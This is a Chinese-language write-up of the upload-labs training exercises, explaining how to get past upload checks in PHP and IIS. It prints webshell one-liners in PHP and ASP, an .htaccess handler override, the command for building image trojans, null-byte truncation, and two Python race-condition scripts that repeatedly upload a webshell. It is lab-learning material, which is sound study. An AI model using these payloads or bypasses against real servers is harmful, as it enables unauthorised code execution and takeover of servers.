Uplo ad-labs—詳解
1前端驗證繞過
前端驗證繞過可以直接用burp萬能繞過前端JS腳本
方法先上傳一張jpg
Burp改包然后改后綴
上傳成功
2Content-Type方式繞過
此繞過方式是將mimi也就是說文件后綴
我們此時選擇上傳圖片抓包
發現content——tpype為image/jpeg
接下來我們上傳1.php將content-type改為和圖片一樣的上傳
然后發現上傳成功
3黑名單繞過
這一關是另類的文件名的繞過,可以嘗試phtml,php3,php4, php5, pht后綴名都可以繞過,但是前提是要在配置文件里面有這樣的一句話
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
這是文件源碼不能這些是黑名單
當然還有方法二
構造.htaccess
實現重寫文件解析,同樣這樣的前提也是得在配置文件里面有這樣的一句話
AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so
看一下百度對htaccess的理解
概述來說,htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。通過htaccess文件,可以幫我們實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能。
我個人理解的意思就是,把SetHandler application/x-httpd-php 這句話寫成.htaccess,然后上傳個jpg,它就當php解析了
cmd制作文件方式,先把這句話寫到1.txt,然后ren 1.txt .htaccess,然后就制作好了,先上傳這個,然后把php改成jpg上傳
訪問頁面發現沒有回顯,說明解析成功
這里我們需要注意
關鍵字要和你的圖片馬一樣 比如我hatccess文件里面是tony
我圖片馬名稱就是tony
然后利用hackbar傳參來控制,先pwd看一下所在的位置
然后ls到上層尋找
找到文件,cat一下,然后在源代碼里面就能看到了
一開始沒有回顯以為失敗了,結果在源碼里
那么問題來了
此時菜刀應該連接tony.php 還是tony.jpg吶
答案如圖
然后成功
4.htaccess繞過
可以知道方法三的那些php5 ptml都不行了
只能用.htaccess繞過了
此方法在方法3的第二方案講了
成功上傳
5后綴大小寫繞過
只有用大小寫繞過
但是我覺得這個應該是情況而定吧 你遇到的不一定就是Php就行的
所以多嘗試
各種嘗試
訪問成功
6文件后綴(空)繞過
這里我們不就不能用大小寫后綴繞過
加了全部轉換為小寫
此時大家別像我一樣 在win里面給文件加空格后綴 主要是我之前還加了好久 哈哈
直接上傳抓包 然后burp改包一鍵上傳就OK
成功上傳
7文件后綴名.繞過
大家仔細觀察
可以看見和第六題相比此次少了
這個因此我們可以BP抓包加·繞過
This is succeeful
8 ::$DATA(Windows文件流繞過)
查看源碼
還是黑名單,但是沒有對后綴名進行去”::$DATA”處理,利用windows特性,可在后綴名中加” ::$DATA”繞過:
之前代碼都有除去字符串
但是這里沒有
成功繞過
9構造文件后綴繞過
str_replace
這個函數大家不陌生吧
可想而知
他先刪除一個點
再刪除一個空格
大家可以發現
成功繞過了
. .(點加空格加點)
10雙寫文件后綴繞過
查看源碼
$file_name = trim($_FILES['upload_file']['name']);//定義name
$file_name = str_ireplace($deny_ext,"", $file_name);//替換上面的php這些為空
找出關鍵代碼
好
這個很熟悉了吧
Sql雙寫繞過
由於php特殊
所以雙寫也得講道理所以構造下面
pphphp
OK I am winner
11%00截斷繞過。
看源碼發現是白名單
但是我們發現ima-path直接拼接 因此可以%00繞過
這個時候可以使用%00截斷,但這東西有點過氣了,因為需要兩個條件
php版本小於5.3.4
php的magic_quotes_gpc為OFF狀態
如果要完成這一個題目就必須要實現上面的兩個條件,但是現在都PHP7了,這東西也就很少見了,滿足上面的條件的時候php就是把它當成結束符,后面的數據直接忽略,這也導致了很多的問題,文件包含也可以利用這一點
所以如果要繞過,我們可以這樣去實現,另save_path等於下面的值
但是現在PHP大多數多高於這個版本了
截斷時候一定要萬分注意%00后面加空格一定要
12%00截斷2
這次的save_path是通過post傳進來的,還是利用00截斷,但這次需要在二進制中進行修改,因為post不會像get對%00進行自動解碼。
找到參數后 后面用二進制工具
9.php%00
13圖片馬
查看源碼
發現對文件頭進行了處理
並以此判斷文件類型
我們可以制作圖片馬進行上傳
注意這里的圖片必須是真圖片copy下來才能繞過驗證
這是我們簡單寫的一個文件包含
<?php
$file = $_GET[ 'page' ];
include($file);
?>
這樣采訪才能成功
所以圖片木馬必須配合文件包含漏洞才能使用
14getimagesize圖片類型繞過
查看源碼
這里利用了getimagesize
rray getimagesize ( string $filename [, array &$imageinfo ] )
getimagesize() 函數將測定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 圖像文件的大小並返回圖像的尺寸以及文件類型和一個可以用於普通 HTML 文件中 IMG 標記中的 height/width 文本字
和13一樣構造圖片馬上傳 同時需要文件包含漏洞
15關php_exif模塊圖片類型繞過
查看源碼
$image_type = exif_imagetype($filename);
這是新加的函數
和13關一樣的繞過方法
16二次渲染繞過
查看源碼
抓包看上傳后圖片的那些部分被截取那些沒有被截取 然后在講代碼插入未被截取的部分
然后也是文件包含漏洞
同樣需要
17條件競爭繞過
查看源碼
$temp_file = $_FILES['upload_file']['tmp_name'];//存儲在服務器的文件的臨時副本的名稱
當我們上傳web shell文件時,不會先限制php類型文件上傳,先利用上面的語句把上傳的文件臨時存放。再執行下面的if語句進行文件類型的限制和文件名的時間戳。然后執行if(move_uploaded_file($temp_file, $upload_file))//移動到新文件夾
繞過思路是利用代碼執行過程有耗費時間的過程。臨時webshell文件保存的極短時間,去訪問webshell。獲取一些信息
我們可以利用burp多線程發包,然后不斷在瀏覽器訪問我們的webshell。會有一瞬間的訪問成功
python腳本:
# coding:utf-8
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool
def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST / HTTP/1.1
Host: http://localhost:8088/upload-labs-master/Pass-17/index.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://108.160.142.252:9001/
Content-Type: multipart/form-data; boundary=---------------------------19988116922523
Content-Length: 2196
Cookie: csrftoken=r0XE7UKfalFDMCMqF5fphAprLj2CYhzk; sessionid=gv2xwxra43oe9dj7p5wz8lxjtsz0speg
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------19988116922523
Content-Disposition: form-data; name="upload_file"; filename="damaxiao.php"
Content-Type: application/octet-stream
<?php assert($_POST["a"])?>
-----------------------------19988116922523
Content-Disposition: form-data; name="submit"
ä¸ä¼
-----------------------------19988116922523--
"""
code, head, html, redirect, log = hh.http('http://108.160.142.252:9001/', raw=raw)
print(str(code) + "\r")
pool = ThreadPool(20)
pool.map(upload, range(10000))
pool.close()
pool.join()
request模塊
import requests
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool
import sys
reload(sys)
sys.setdefaultencoding('utf8')
url = 'http://localhost:8088/upload-labs-master/Pass-17/index.php'
def upload():
file = {
'file': open('damaxiao.php','rb')
}
header = {
'Host': '108.160.142.252:9001',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Cookie': 'csrftoken=r0XE7UKfalFDMCMqF5fphAprLj2CYhzk; sessionid=gv2xwxra43oe9dj7p5wz8lxjtsz0speg; aM3_sid=s98M8S',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
# def keepreq():
r = requests.post(url,files=file)
print(str(r.status_code) + "\r")
pool = ThreadPool(20)
pool.map(upload(), range(10000))
pool.close()
pool.join()
https://blog.csdn.net/u011377996/article/details/86776198
我也不是很懂嘛
18條件競爭2()
同17
19(CVE-2015-2348 move_uploaded_file() 00截斷)
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
$is_upload = true;
}else{
$msg = '上傳失敗!';
}
CVE-2015-2348 move_uploaded_file() 00截斷,上傳webshell,同時自定義保存名稱,直接保存為php是不行的
發現move_uploaded_file()函數中的img_path是由post參數save_name控制的,因此可以在save_name利用00截斷繞過:
利用方式:
利用成功
后面加一個空格便是繞過了不知道為什么這么神奇
20IIS6.0解析漏洞
我們先查看源碼
http://www.php.cn/php-weizijiaocheng-402602.html
這個函數是按
https://www.cnblogs.com/kenshinobiy/p/7782910.html
http://www.w3school.com.cn/php/func_array_in_array.asp
先按.將文件名稱分割
在
大概意思就是解析漏洞
成功上傳
21IIS文件名解析
學滲透一定要動手操作,一個簡單的動作重復N遍以上就能學會了。
最近在學習一句話木馬的使用,加上中國菜刀,真是個居家旅行的必備技能。舉例說asp的一句話:
<%execute request(chr(97))%>
a就是連接密碼了。(一定要寫對chr(97),我看着書寫char(97)被坑了一下午...還以為是服務器設置問題)。但是今天我練習的時候遇到了只能上傳圖片的漏洞,然后就去網上找姿勢,就學習了IIS6.0的解析漏洞了。
我的練習環境是windows 2003的IIS6.0,這個版本有兩個解析漏洞:
1、在網站目錄中如果存在名為*.asp、*.asa的目錄,那該目錄內的任何文件都會被IIS解析為asp文件並執行。
2、在上傳圖片木馬的時候,將文件名改為*.asp;.jpg,該文件文件都會被IIS解析為asp文件並執行。
第一個漏洞測試成功了,在網站目錄下創建了一個1.asp目錄,在目錄下上傳了內容為<%execute request(chr(97))%>但文件名為cmd.jpg的”圖像“文件,用菜刀成功連接。
第二個漏洞同理,不同的只是之間建立一個同樣內容的cmd.asp;.jpg文件。
至於制作asp圖片木馬,今天學到了一個copy拼接的方法:
准備一張圖片(盡可能小點吧,10k左右?對加載應該有影響),命名為1.jpg
寫asp一句話木馬,命名為1.asp
打開cmd,執行COPY 1.jpg /b + 1.asp /a asp.jpg拼接得到asp.jpg即時asp圖片木馬了。【/b表示指定一個二進制文件,/a表示指定一個ASCII文件】
22IIS目錄解析如上
切記 學習之路 少就是多 慢就是快